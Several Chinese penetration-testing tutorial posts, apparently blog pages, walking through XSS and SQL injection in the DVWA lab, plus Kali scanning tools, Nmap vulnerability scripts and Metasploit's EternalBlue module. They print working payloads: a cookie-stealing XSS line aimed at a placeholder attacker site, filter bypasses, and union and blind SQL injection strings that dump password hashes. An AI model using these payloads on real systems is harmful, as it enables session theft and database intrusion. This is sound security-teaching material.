PHP函数如下:trim()函数,用于去除字符串左、右两侧的空格stripslashes()函数,用于去除字符串中的反斜杠。mysqli_real_escape_string()函数,对SOL语中的特殊字符进行转义。从代码上看,此处只是对输入的 name、message 做了防止 SQL 注入的过滤,并没有对XSS攻击进行安全性的过滤和处理。试着在留言里写人“<script >alert("harker")</script>”,单击“提交留言”按钮这时每次刷新页面都会出现弹框。也就是说,XSS 语句已经写进了网站的后台数据库。把 XSS 语句修改为<script > document. location ='http://攻击者网站地址/acceptcookie.php?cookie='+document.cookie;</script>,并提交到网站中,这样,当正常用户访问该网站时,就会把自己当前的 cookie 信息发送到攻击者服务器上了。将安全级别调整至Medium级别,打开“XSS (反射型)”页面:代码中的PHP函数如下:strip_tags()函数,去除 html标签。htmlspecialchars()函数,将预定义字符转换成HTML实体。str_replace()函数,转义函数,将指定的字符或字符串转换成别的字符,这里是将< script>转为空。其缺点是转义的时候区分大小写。与Low 级别相比,可以看出对 message 的值进行了标签的过滤及预定义字符的转义,对name 的值只进行了标签的过滤。显然,对于message,已经很难写入“<script>”这样的标记语句了,但对name字段,虽然过滤了“<script>”,但可以大小写绕过。试着在名字文本框里写人“<Script>alert("harker")</Script>”,同时在网页前台代码中修改 name字段大小的限制。单击“提交留言”按钮。查看后台数据库。将安全级别调整至 High 级别,打开“XSS (反射型)”页面:与Medium 级别相比,High 级别显然对 name的值进行了更严格的限制,不能用类似的大小写绕过的方法。通过前面任务的学习,可知 name 的值可构造如下:<img src = 1 onerror = alert( " hacker" )>在前台代码中,修改 name 字段大小的限制,单击“提交留言”按,查看后台数据库。
0
0
0
浏览量2023
超超

渗透测试——一、黑客实践之网络扫描

一、该文章简介网络扫描时黑客攻击钟信息收集的有效手段,通过扫描可以了解网络中主机的相关情况,为下一步渗透做准备。同时,扫描需要借助工具,本篇介绍Kali Linux中的Nmap工具,通过该工具的使用,设置一定的参数,得到网络主机的操作系统、端口状态、服务版本漏洞等信息。1、目标技能目标:1、熟悉Kali Linux系统并能使用Kali中的一些工具,如Nikto、Crunch等2、了解Kali Linux中Nmap扫描时用到一些参数的功能,如-A,-O等3、熟悉Nmap扫描后反馈信息的含义知识目标:1、理解Kali Linux系统在黑客实践中的作用2、掌握Kali Linux中一些基本工具的使用3、掌握用Nmap配合相关参数扫描网络的流程2、任务1、认识Kali Linux2、Nmap主机发现和服务扫描3、Nmap漏洞发现与渗透二、认识Kali LinuxKali Linux是黑客攻击的常用工具,集成了Nmap、Dmitry、Nikto等网络扫描工具,Crunch、John等密码生成和破解工具,Burp、Wireshark等抓包工具,同时有基于Metasploit框架的渗透模块等。1、知识准备1.1 Linux操作系统Linux是一套免费使用和自由传播的类UNIX操作系统,是一个基于UNIX的多用户、多任务、支持多线程和多CPU的操作系统。并能运行主要的UNIX工具软件、应用程序和网络协议。同时支持32位和64位硬件。Linux继承了UNIX以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Linux与其他操作系统相比,具有开放源码、没有版权、技术社区用户多等特点。开放源码使得用户可以自由裁剪、灵活性高,功能强大、成本低。尤其是系统中内嵌网络协议栈,经过适当的配置就可以实现路由器的功能。这些特点使得Linux成为路由交换设备的理想开发平台。Linux发行版本以及特点版本名称网址特点软件包管理器Debian Linuxwww.debian.org开放的开发模式,并易于进行软件包升级aptFedora Corewww.redhat.com拥有数量庞大的用户、优秀的社区技术支持、并有很多创新yum(rpm) up2date(rpm)CentOSwww.centos.org CentOS是一种对RHEL源码再编译的产物rpmSUSE Linuxwww.suse.com专业的操作系统,易用的YaST软件包管理系统YaST(rpm)YaST(rpm)www.mandriva.com操作界面友好,使用图形配置工具,支持NTFS分区的大小变更rpmYaST(rpm)www.knoppix.com可以在CD上运行,具有优秀的硬件检测和适配能力,可作为系统的急救盘使用aptGentoo Linuxwww.gentoo.org高度的可定制性,使用手册完整portageUbuntuwww,.ubuntu.com优秀的桌面环境apt1.2 Kali Linux系统Kali Linux是一个基于Debian的Linux发行版,包括很多安全和取证方面的相关工具。其有32位和64位得镜像下载地址,可用于x86指令集。同时,它还有基于ARM架构得镜像,可用于树莓派和三星得ARM Chromebook。用户可以通过硬盘、Live CD或Live USB来运行Kali Linux操作系统。Kali Linux下载地址为:https://www.kali.org/downloads/Kali Linux预装了许多渗透测试软件,包括Nmap、Wireshark、John the Ripper,以及Aircrack - ng。Kali-Linux有着永远开源免费、支持多张无线网卡、定制内核、支持无线注入、支持手机/PAD/ARM平台、高度可定制及更新频繁等特点,是渗透测试者、安全研究者、电子取证者、逆向工程者及黑客常用的工具。1.3 常用网络服务端口网络协议是指一些在网络上运行的、面向服务的、基于分布式程序的软件模块。TCP协议、UDP协议是现实通信中的重要协议、它们为这些软件模块提供了通信端口。(1)TCP端口TCP端口,即传输控制协议端口,需要在客户端和服务器之间建立连接,这样能提供可靠的数据传输。常用的包括FTP服务的21端口、Telnet服务的23端口、SMTP服务的25端口及HTTP服务的80端口等等。(2)UDP端口UDP端口,即用户数据包协议端口,无须在客户端和服务器之间建立连接,安全性得不到保障,常见的有DNS服务的53端口、SNMP(简单网络管理协议)服务的161端口,QQ使用的8000和4000端口等等。端口服务说明21FTPFTP服务所开放的端口,用于上传、下载文件22SSH用于通过命令行模式或远程连接软件连接Linux实例23Telnet用于Telnet远程登录ECS实例25SMTPSMTP服务所开放的端口,用于发送邮件80HTTP用于HTTP服务提供访问功能,例如Apache,Nginx等服务110 POP3用于POP3协议,POP3是电子邮件收发的协议143IMAP用于电子邮件接收的协议443 HTTPS用于HTTPS服务提供访问功能。是一种能提供加密和通过安全端口传输的协议1433 SQL ServerSQL Server的TCP端口,用于供对外提供服务1434 SQL ServerSQL Server的UDP端口,用于返回使用了哪个TCP/IP端口1521Oracle通信端口3389Windows Server Remote Desktop Services远程桌面服务端口,可以通过这个端口使用软件连接windows实例8080 代理端口同80端口一样,8080端口常用于WWW代理服务,实现网页浏览,如果使用8080端口,访问网站或使用代理服务器时,需要在IP地址后面加上8080,安装Apache Tomcat服务后,默认服务端口为8080137138139NetBIOS协议137,138为UDP端口,通过网上邻居传输文件时使用的端口,通过139这个端口库进入的连接视图获得NetBIIOS/SMB服务,NetBIOS协议常被用于Windows文件、打印机共享和Samba2、利用Dmitry进行端口扫描Dmitry是Kali Linux中的信息收集工具。在Kali终端输入dmitry,回车即可:-o,把扫描结果保存为一个文件。-i,扫面的IP地址-n,获取相关主机的netcraft.com信息,包括主机操作系统、Web服务上线和运行时间信息-p,在目标主机上执行TCP端口扫描,这是个相对简单的模块-f,让TCP扫描器输出过滤的端口信息-t,设置端口扫描的TTL,默认是2s。在dmitry后加上参数-p,扫描百度网站开放的端口,结果显示百度服务器开放了80端口:3、利用Nikto扫描网页漏洞Nikto是一款使用Perl语言开发的开源代码的、功能强大的Web扫描评估软件,能对Web服务器多种安全项目进行测试,在Kali Linux终端输入nikto -H,回车即可:参数说明:-Cgidirs,扫描CGI目录-config,使用指定的config文件来替代安装在本地的config.txt文件dbcheck,选择语法错误的扫描数据库-evasion,使用LibWhisker中对IDS的躲避技术-findonly,仅用来发现HTTP和HTTPS端口,而不执行检测规则-Format,指定检测报告输出文件的格式,默认是txt文件格式(csv/txt/htm)-host,目标主机,包括主机名,IP地址,主机列表文件-id,ID和密码对于授权的HTTP认证-nolookup,不执行主机名查找-output,报告输出指定地点-port,扫描端口指定,默认为80端口-Pause,每次操作之间的延迟时间Display,控制Nikto输出的显示ssl,强制在端口上使用SSL模式-Single,执行单个对目标服务的请求操作-timeout,每个请求的超过时间,默认为10s-Tuning,控制Nikto使用不同的方式来扫描目标-useproxy,使用执行代理扫描-update,更新插件和数据库在nikto后加上参数-host扫描项目网站,结果如图,带+号的是网站的敏感信息:4、利用Crunch生成密码字典网站入侵靠的是数据字典,Crunch是Kali Linux中的字典生成工具,在Kali Linux终端输入crunch,回车:crunch参数说明:-c,数字,指定写入输出文件的行数,也即包含密码的个数-d,数字符号,限制出现相同元素的个数,“-d 2@”限制小写字母输出,比如aab,aac,不会产生aaa,因为这是连续的三个字母。格式为+符号,数字是连续字母出现的次数,符号是限制字符串的字符。-e,字符串,定义停止生成密码,比如-e 222222,到222222停止生成密码。-f /path/to/charset - name,从charset.lst指定字符集,也即调用密码库文件。-i,改变格式-o wordlist.txt,执行输出文件的名称-p,字符串或者-p 单词1 单词2,以排列组合方式来生成字典。-q filename.txt,读取这个文件在crunch后加上参数6 6 01234567890 - o mum6.dic,生成6位的数字密码,并保存在mum6.dic中:三、Nmap主机发现和服务扫描1、知识准备1.1 Nmap介绍Nmap是一个网络连接端扫描软件,用来扫描网络中主机开放的连接端口,确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统,它是网络管理员必用的软件之一,还用于评估网络系统安全。Nmap命令的格式为:Nmap [扫描类型][通用选项]{扫描目标说明}1.2 Nmap扫描参数下面哦我们对nmap命令的参数进行说明:(1)扫描类型参数说明-sTTCP connect()扫描,这是最基本的TCP扫描方式,这种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求及错误信息-sSTCP同步扫描(TCP SYN),因为不必全部打开一个TCP连接,所以该技术通常称为半开扫描(half-open),该技术最大的好处是很少有系统能够把这计入系统日志,不过,需要root权限来定制SYN数据包-sF-sX-sN秘密FIN数据包扫描、圣诞树、空扫描模式,这些扫描方式的理论依据是:关闭端口需要对你的探测包回应RST包,而打开的端口必须忽略有问题的包-sPping扫描,用ping方式检查网络上哪些主机正在运行,当主机阻塞ICMP echo请求包时,ping扫描是无效的。Nmap在任何情况下都会进行ping扫描,只有目标主机处在运行状态时,才会进行后续的扫描。-sU 如果想知道在某台主机上提供哪些UDP服务,可以使用此选项-sA ACK扫描,这项高级的扫描方法通常可以用来穿过防火墙-sW 滑动窗口扫描,类似于ACK扫描-sR RPC扫描,和其他不同的端口扫描方法结合使用-b FTP反弹攻击,连接到防火墙后面的一台FTP服务器做代理,接着进行端口扫描(2)通用选项参数说明-P0在扫描之前,不ping主机-PT在扫描之前,使用TCP ping确定哪些主机正在运行-PS 对于root用户,这个选项让Nmap使用SYN包而不是ACK包来对目标主机进行扫描-PI设置这个选项,让Nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行-PB这是默认的ping扫描选项,它使用ACK(-PT)和ICMP(-PI)两种扫描类型并行扫描。如果防火墙能够过滤其中一种包,使用这种方法就能够穿过防火墙-O这个选项激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志,也就是操作系统类型-I 打开Nmap的反向标志扫描功能-f使用碎片IP数据包发送SYN、FIN、XMAS、NULL。包增加包过滤、入侵检测系统的难度,使其无法知道你的意图-v冗余模式,强烈推荐使用这个选项,它会给扫描过程中的详细信息-S<IP> 在一些情况下,Nmap可能无法确定你的源地址(Nmap会告诉你),这时使用这个选项给出的IP地址-g port设置扫描的源端口。一些天真的防火墙和包过滤器的规则集允许源端口为DNS(53)或者FTP-DATA(20)的包通过和实现连接,显然,如果攻击者把源端口修改为20或者53,就可以摧毁防火墙的防护-oN把扫描结果重定向到一个可读的文件logfilename中-oS把扫描结果输出到标准输出–host_timeout 设置扫描一台主机的时间,以ms为单位。默认的情况下,没有超时限制–max_rtt_timeout设置对每次检测的等待时间,以毫秒为单位。如果超过这个时间限制,就重传或者超时。默认值是大约9000ms–min_rtt_timeout设置Nmap对每次检测至少等待你指定的时间,以ms为单位-M count设置进行TCP connect()扫描时,最多使用多少个套接字进行并行的扫描(3)扫描目标参数说明目标地址可以为IP地址、CIRD地址等-iL filename从filename文件中读取扫描的目标-iR让Nmap自己随机挑选主机进行扫描-p这个选项让你选择要进行扫描的端口号范围-exclude排除指定主机-excludefile排除指定文件中的主机2、Nmap发现存活主机利用Nmap工具对Kali Linux所在网段进行扫描,在Nmap后加上-sP 192.168.217.0/24 -T5(以速度5进行扫描),Host is up表示存活的主机:nmap 192.168.217.0/24 -T53、Nmap扫描主机端口利用Nmap主机对网段中存活的主机(192.168.217.143)进行端口扫描,在nmap后面加上-p 1-65535 -T5,可以看到目标主机开放了以下几个端口:nmap 192.168.217.143 -p 1-65535 -T54、Nmap扫描主机服务版本继续对目标主机192.168.217.143进行服务版本的扫描,输入nmap -sV 192.168.217.143,可以看到主机是一个Windows系统,开放服务有以下几个,同时显示了对应的服务版本:四、Nmap漏洞发现与渗透1、知识准备1.1 Nmap扫描中常见漏洞检测脚本在Nmap扫描中可以利用漏洞脚本检测漏洞类型:脚本名描述ftp - anon.nse检查目标FTP是否允许匿名登录,自动检测目录是否可读写ftp - brute.nseFTP爆破脚本,默认只会尝试一些比较简单的弱口令ftp - vuln - cve2010 -4221. nseProFTPD 1.3.3c之前的 netio.c 文件中的 pr_netio_telnet_gets 函数中存在多个栈溢出ftp - proftpd - backdoor. nse检查 ProFTPD 服务是否被插入后门,如果被插入后门,会运行脚本弹出 shell 指令ftp - vsftpd - backdoor. nse检查 VSFTPD服务是否被插人后门,如果被插人后门,会运行脚本弹出 shell 指令sshvl.nse检查SSH 服务(版本1)是否存在被中间人攻击的漏洞smtp - brute. nse 简单爆破 SMTP 弱口令smtp - enum - users. nse枚举目标 SMTP 服务器的邮用户名,前提是目在此错误配置smtp - vuln - cve2010 -4344. nse Exim 4.70之前的版本 string 文件中的 string_vformat 函数中存在堆溢出smtp - vuln - cve2011 -1720. nseosfix 2.5.13 之前的版本、2.6.10 之前的2.6. 版本、2.7. 之前的2.7.x 版本和 2.8.3 之前的 2.8 版本,存在溢出smtp - vuln - cve2011 -1764. nse检查 Exim dkim_exim_verify_finsh()是否存在格式字符串漏洞,此漏洞现在不常见pop3 - brute. nsePOP简单弱口令爆破imap - brute. nse IMAP简单弱口令爆破dns - zone - transfer. nse检查目标 NS 服务器是否允许传送,如果允许,直接把子域拖出来即可hostmap -ip2hosts.nse旁站查询,目测了一下脚本,用的是 p2hosts 接口,不过该接口似平早已停用,如果想继续用,可自行到脚本里把接口部分的代码改掉informix - brute. nseInformix爆破脚本mysql - empty - password.nseMySQL 扫描 root 空密码,比如想批量抓 MySQLmysql- brute.nseMySOLroot 弱口简单爆破mysql-dump -hashes.nse检查能否导出MySOL中所有用户的哈希值mysql-vuln - cve2012 -2122.nseMySOL身份认证漏洞 (MariaDB和MySOL 5.1.61,52115355.522),利用条件有些苛刻(需要目标的MySOL 是自己源码编译安装的,这样的成功率相对较高)ms - sql - empty - password.nse扫描MSSOL sa空密码,比如想批量抓MSSOLms - sql - brute. nse SA弱口令爆破ms - sql - xp - cmdshell nse利用xp_cmdshell远程执行系统命令ms - sql - dump - hashes. nse检查能否导出MSSOL中所有数据库用户的密码对应的哈希值pgsql - brute. nse尝试爆破 Postgresqltelnet - brute. nse简单爆破Telnetoracle - brute - stealth. nse尝试爆破Oraclehttp - iis - webday - vuln. nse检查否有IIS50和IS60的WebDAV可写漏洞http - vuln - cve2015 - 1635nseIIS60远程代码执行smb - vuln - ms08 -067 nsesmb - vuln -ms10-054.nsesmb- vuln - ms10 - 061. nsesmb - vuln - ms17 -010. nseSMB远程执行1.2 Metasploit介绍Metasploit是一款开源安全漏洞的检测工具,可以帮助安全和IT专业人士识别安全性问题,验证服务漏洞,对系统和服务安全性进行评估,提供安全风险情报。这些功能包括智能开发,代码审计、Web应用扫描、社会工程。Metasploit适用于所有流行的操作系统,Kali Linux已经预装了Metasploit框架。auxiliary:辅助模块encoders:msfencode编码工具模块exploits:攻击模块nops:空模块payloads:攻击载荷模块post:后渗透阶段模块2、Nmap扫描系统漏洞首先我们依旧对192.168.217.143的扫描得知目标主机开放了445端口(smb服务),那么我们利用Nmap中著名的漏洞检测脚本smb - vuln -描述7 -010.nse对目标主机进行扫描,如图,目标主机445端口存在着严重的漏洞。nmap -p445 --script smb-vuln-ms17-010.nse 192.168.217.143 3、Metasploit漏洞渗透打开Kali Linux的Metasploit模块,查找MS17010漏洞模块,选择exploit目录下的ms17_010_enternalblue模块并查看设置参数,此时只有RHOST一个参数要配置,设置RHOST为目标主机地址192.168.217.143并进行攻击主机的命令shell:
0
0
0
浏览量2085
超超

渗透测试——五、网站漏洞——SQL注入

一、走进DVWA测试网站1、网站渗透测试步骤(1)收集信息1、获取域名的 Whois 信息,获取注册者邮箱、姓名、电话等。2、查询服务器旁站及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的CMS或者其他漏洞。3、查看服务器操作系统版本、We 中间件,看看是否存在已知的漏洞,比如IIS、APACHENGINX 的解析漏洞。4、查看IP,进行IP 地址端口扫描,对响应的端口进行漏洞探测,比如 RSYNC、MySQLFTP、SSH 弱口令等。5、扫描网站目录结构,看看是否存在目录遍历漏洞,是否存在敏感文件,比如 PHP 探针等。6、Google Hack 进一步探测网站的信息、后台、敏感文件。(2)扫描漏洞开始检测漏洞,如XSS、XSRF、SQL 注入、代码执行、命令执行、越权访问、目录读取、任意文件读取、下载、文件包含、远程命令执行、弱口令、上传、编辑器漏洞、暴力破解等。(3)利用漏洞利用以上方式拿到 Webshell,或者其他权限。(4)提升权限在利用网站漏洞获取 Webshell 之后,需要借助一些方法进一步获取系统权限,比如在Windows下有 MySQL的UDF 提权、Sev -U 提权;Lnux 下的脏牛提权、内核版本提权MySOL System 提权及 0racle 权限提权。(5)清理日志(6)撰写总结报告及修复方案报告是安全漏洞结果展现形式之一,也是目前安全业内最认可的和常见的。报告的形式和格式不尽相同,但大体展现的内容是一样的。首先是对本次网站渗透测试的一个总概括,如发现几个漏洞、有几个是高危的漏洞、几个中危漏洞、几个低危漏洞。然后对漏洞进行详细的讲解,比如是什么类型的漏洞、漏洞名称、漏洞危害、漏洞具体展现方式、修复漏洞的方法。2、DVWA网站DVWA (Damn Vulnerable Web Application) 是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助Web开发者更好地理解 Web 应用安全防范的过程。DVWA共有10个模块分别是 Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、InsecureCaptcha(不安全的验证码)、SQL Injection(SOL注入)、SO Iniection(Blind)(SOL盲注)、XSS( Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨脚本)。3、其他漏洞网站(1) Mutillidae 网站Mutillidae Web 应用包含OWASP 上可利用的攻击漏洞,包括 HTML-web storage、forms caching、click -iacking 等。受DVWA启发,Mutillidae 允许使用者更改安全等级从0(完全没有安全意识)到5(安全)。另外,提供3 个层次,从“0级-我自己搞”(不要提示)到“2级-小白”(使劲提示)。如果 Mutillidae 在渗透过程中损坏了,单击“Reset DB”按钮恢复出厂设置。(2) WebGoat 网站WebGoat 是一个用于讲解典型Web 漏洞的基于J2EE架构的 Web应用它由著名的 Web 应用安全研究组织OWASP 精心设计并不断更新,目前的版本已经到了5.0。WebGoat 本身是一系列教程,其中设计了大量的 We 缺陷,一步步指导用户如何去利用这些漏洞进行攻击,同时,也指出了如何在程序设计和编码时避免这些漏洞。(3) SOLi-LabsSOLi-Labs 是一个专业的SQL 注入练习平台 ,适用于 get 和 post 场景包含了以下注人:1、基于错误的注入 (Union Select)2、基于误差的注入 (双查询注入)3、盲注入(基于 Boolean 数据类型注入、基于时间注入)。4、更新查询注入 (update)。5、插入查询注人 (insert)。6、Header 头部注入(基于 Referer 注入、基于 UserAgent 注人,基于 Cookie 注人)。7、二阶注入,也可叫二次注入。8、绕过 WAF。9、绕过 addslashes() 函数。10、绕过mysql_real_escape_string() 函数(在特殊条件下)。11、堆叠注入(堆查询注入)。12、二级通道提取。4、进入DVMA网站在登录框中输人用户名“admin”,密码“password”,则进入 DVWA的主界面。在左侧菜单中可以看到不同的网站渗透类型:暴力破解、命令注入、CSRF文件包含、文件上传、SQL注人、XSS 等,单击左侧的“DVWA安全”可选择DVWA 安全级别,其中从低到高分别是Low、Medium、High、Impossible,单击查看源代码,可以看到PHP 的后台代码。二、暴力破解和SQL注入1、暴力破解Brute Force,即暴力 (破解),是指黑客利用密码字典,使用穷举法猜解出用户口令是现在最广泛使用的攻击手法之一。2、SQL语句结构化查询语言 (Structured Query Language) 简称 SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据及查询、更新和管理关系数据库系统。结构化查询语言是高级的非过程化编程语言,允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法,也不需要用户了解具体的数据存放方式,所以具有完全不同底层结构的不同数据库系统,可以使用相同的结构化查询语言作为数据输人与管理的接口。结构化查询语言语句可以嵌套,这使它具有极大的灵活性和强大的功能。SQL 具有数据定义、数据操纵和数据控制功能。1、SQL 数据定义功能:能够定义数据库的三级模式结构,即外模式、全局模式和内模式结构。在SQL中,外模式又叫作视图 (View),全局模式简称模式 (Shema),内模式由系统根据数据库模式自动实现,一般无须用户过问。2、SQL 数据操纵功能:包括对基本表和视图的数据插人、删除和修改,特别是具有很强的数据查询功能。3、SOL的数据控制功能:主要是对用户的访问权限加以控制,以保证系统的安全性。SQL语句的用法 (建数据库、建表、插入数据、查询数据) 。SQL注入是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾添加额外的 SOL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。3、PHP语言PHP 即“超文本预处理器”,是一种通用的开源脚本语言。PHP 是在服务器端执行的脚本语言,与C 语言类似,是常用的网站编程语言。PHP 独特的语法混合了C、Java、Perl及 PHP 自创的语法。其利于学习,使用广泛,主要适用于 Web 开发领域。与其他常用语言相比,PHP 语言优势明显。较好的可移植性、可靠性及较高的运行效率使 PHP 语言在当下行业网站建设中独占整头。利用 PHP 语育进行行业网站设计,能够实现数据库的实时性更新,网站的日常维护和管理简单易行,进而提高用户的使用效率。基于不同的环境、不同的工具,PHP 可以使用不同的 MySOI.数据库的访间方法。面向对象的方法:(1) MySQLi通过 MySQLi构造方法实例化一个 MySOL 连接对象,相当于建立了一个连接,后续代码完全使用面向对象的方法,使用该对象的成员函数操作 MySQL 数据库。(2) PDO 连接 MySOL 数据库PDO 是基于数据库抽象层的一种访问方法,它能用相同的函数 (方法)来查询和获取数据,而不需要考虑连接的数据库类型。(3)ADODB 连接MySOL 数据库ADODB 同样是数据库抽象类。ADODB 的数据库提供了通用的应用程序和所有支持的数据库连接,并提供了比较实用的方法,使它超越了一个抽象层的功能。另外,虽然面向过程的方法是 PHP 连接数据库最基本的方法,使用较为简单。但其灵活性较差,在大型项目的开发中一般较少使用。4、暴力破解页面之Burp Suite破解本节内容详细见:Burp爆破5、暴力破解页面之SQL注入仍然是 DVWA“暴力破解”页面,试着利用项目一提到的“万能密码”绕过登录验证小贴士:万能密码可理解为利用 SQL 语中的引号、注释符号、or and 等关键字构造的“永真”查询。根据“暴力破解”页面的后台代码,其中密码变量 $pass 被 MD5 加密,因此万能密码无法成功登录。但 $user 这个用户名变量没有加密,可以构造万能用户名绕过登录页面验证,于是在登录界面的“用户名”输入框中输人“admn #;”,使用任意密码,成功登录。图表明了万能用户名绕过的原理,#的作用是注释后面的语句。登陆原理:小贴士:构造万能用户名的前提是要知道后台数据表中的一个用户,比如 admin、root 等6、SQL注入页面之 SQL注入将安全级别设置为 Low,单击“SQL注入”:SOL 注人成功与否,注入点的判断是关键,注入点是网页和数据库的连接点,通过注入点值的变化能回显出不同的网页信息。在“SQL注入”页面的输入框中,首先输入“1”并提交、输入“2”并提交,网页回显出不同的用户名信息,则这个框可能是注入点:接着输入“1”,页面回显与输入“1’”时的相同,输入的单引号并没有被过滤;最后尝试输人“any’ or ‘1’=‘1”万能密码,如所有用户信息都显示出来,说明这个输入框就是注入点。看源码如下:根据源码,在 DVWA 数据库中利用万能密码进行查询:SOL 注入点确定之后,可通过注入点得到数据库的库名、表名、字段名等信息。在框中输入“1’ union select 1,database()#”,单击“提交”按钮:这里用到了 SQL语句中的 union 这个关键字,它的作用是把两个查询合并回显在一张表格中;数字1起到占位的作用;database()是获取当前的数据库。这时知道当前数据库为 DVWA。在框中输入“1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#”,单击“提交”按钮。这时看到DVWA数据库中存放着 admin、guestbook、users 等表格。输入语中的information_schema是MySQL的信息数据库,tables 表存放着MySQL中所有数据库、表格的信息。原理:select first_name,last_name from users where user_id='1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#'在框中输入“1'union select 1,column_name from information_schema.columns where table_name='users'#”,单击“提交”按钮。原理:select first_name,last_name from users where user_id='1'union select 1,column_name from information_schema.columns where table_name='users'#;这时看到 users 表中有 user_id、first_name last_name、user、password、avatar、last_login 等字段。输入语句中,columns 表存放着MySQL中所有表格字段的信息。这时直接查询 users 表中 user、password 字段内容,在框中输入“1'union select user,password from users#”,单击“提交”按钮。原理:select first_name,last_name from users where user_id='1'union select user,password from users#;可知输出的 password 字段内容是进行了 MD5 加密的,可以利用在线网站尝试解密。另外,在利用SQL注入得到库、表、字段、记录的同时,也可以得到 MySQL 的版本当前连接数据库的用户、操作库存储目录等信息。输入“1' union select database( ),version()#”,单击“提交”按钮:原理:select first_name,last_name from users where user_id ='1' union select database( ),version()#';输入“1' union select 1,user()#”,单击“提交”按钮:原理:select first_name,last_name from users where user_id ='1' union select 1,user()#;输人“1'union select @@version_compile_os,@@datadir #”,单击“提交”按钮:原理:select first_name,last_name from users where user_id ='1'union select @@version_compile_os,@@datadir #;7、SQL注入(盲注)页面之 SQL注人将安全级别设置为Low,单击“SQL 注入 (盲注)”,在文本框中输入数据,从回显来看页面只输出“数据库中存在用户ID”“数据库中缺少用户ID”两种情况。这里盲注的基本思路是二分法,因为只有两种情况的页面回显,所以只能二分查找,一点一点地找,查找的基本步骤与注入顺序的基本一致。第一步:输人“1”,回显“数据中存在用户ID”第二步:输人“1’ or 1=2#”,依旧返回存在,可以判定存在注入点。输人“1’ and 1=2#”,回显“数据库中缺少用户ID”,可以进行 SQL字符型盲注第三步:1、猜库名的字符长度。输入“1' and length(database()) =1#”,显示缺少;继续加码,输入“1' and length(database())=2#”,依旧缺少;继续加码,直到输入“1' and length(database())=4#”,显示存在。猜测成功,长度为4。2、猜库名第一个字符。输入“1' and ascii(substr(database(),1,1))>97#”,显示存在,说明第一个是大于a的字母;输入“1'and ascii(substr(database(),1,1))<122#”,显示存在,说明小于z;由二分法;输入“1'and ascii(substr(database(),1,1))>109#”,显示缺少,说明小于 m。依此类推,最后显示“1'and ascii(substr(database(),1,1))>100#”和“1'and ascii(substr(database(),11))100#”都不存在说明第一个字母就是ASCII码为100对应的字母 d,同样猜出其他三个字母。第四步:现在既然知道了库的名字,就该对数据表进行暴力破解。同样的道理,先确定表数量再确定表名称。下面列出用到的所有注入代码,一行代表一次,注释就是返回结果。/* 确定库里有多少个表 */ 1' and (select count(table_name) from information_schema.tables where table_schema =database()) = 1#--缺小 1' and (select count(table_name) from information_schema.tables where table schema = database()) = 2#--存在 /* 确定第一个表字符长度 */ 1' and length(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1)) = 1#--缺少 1' and length(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1)) = 9#--存在/* 确定第二个表字符长度 * / 1' and length(substr((select table_name from information_schema.tables where table_schema =database() limit 1,1),1)) = 1#--缺少 1' and length(substr((select table_name from information_schema,tables where table schema = database() limit 1,1),1)) = 5#--存在 /*确定第一个表第一个字母*/ 1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>97#-存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))<122#--存在 1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>109#--缺少 1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>103#--缺少 1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>100#--存在 1' and ascii(substr((select table_name from information schema.tables where table_schema =database() limit 0,1),1,1))>102#--存在验证 1' and ascii(substr((select table_name from information schema.tables where table schema =database() limit 0,1),1,1))=103#--存在 /* 之后都是这个思路,得到两个表的名称 guestbook、users */第五步:利用二分法对表格中的字段进行暴力破解。同样的道理,试出列的数量,然后试出每个列的列名,再根据列名试出列中的数据。8、SQL注入 (盲注)页面之SQLMap 自动注入SQLMap 是一个渗透测试工具,主要用来自动化 SQL 注入,支持多种类型的数据库。以下针对“SQL注入(盲注)”页面进行 SQLMap 渗透。首先在 Kali 中输人指令。其中,u 参数后面的 URL 是盲注页面的提交值后的 URL,PHPSESSID 是进入网站之后的 cookie 值,cookie 是浏览器暂时存储账号的一种机制。打开火狐浏览器,单击“选项”一“隐私”一“历史记录”,将其改为“使用自定义设置”一“显示 cookies”,在弹出的界面中即可查看当前的 cookie 值。SQLMap 语句中的 --dbs 参数表示对数据库名进行猜解,按 Enter 键进行破解。在输入几个“y”之后,会出现 DVWA 等数据库,在原有 SQLMap 语句中添加“-D dvwa -tables”:对 users 表进行猜解,修改原有 SQLMap 语,添加“-T users dump”,利用SQLMap自带的数据字典,最后得出整个数据表信息:
0
0
0
浏览量2030
超超

渗透测试——二、黑客实践之抓包分析

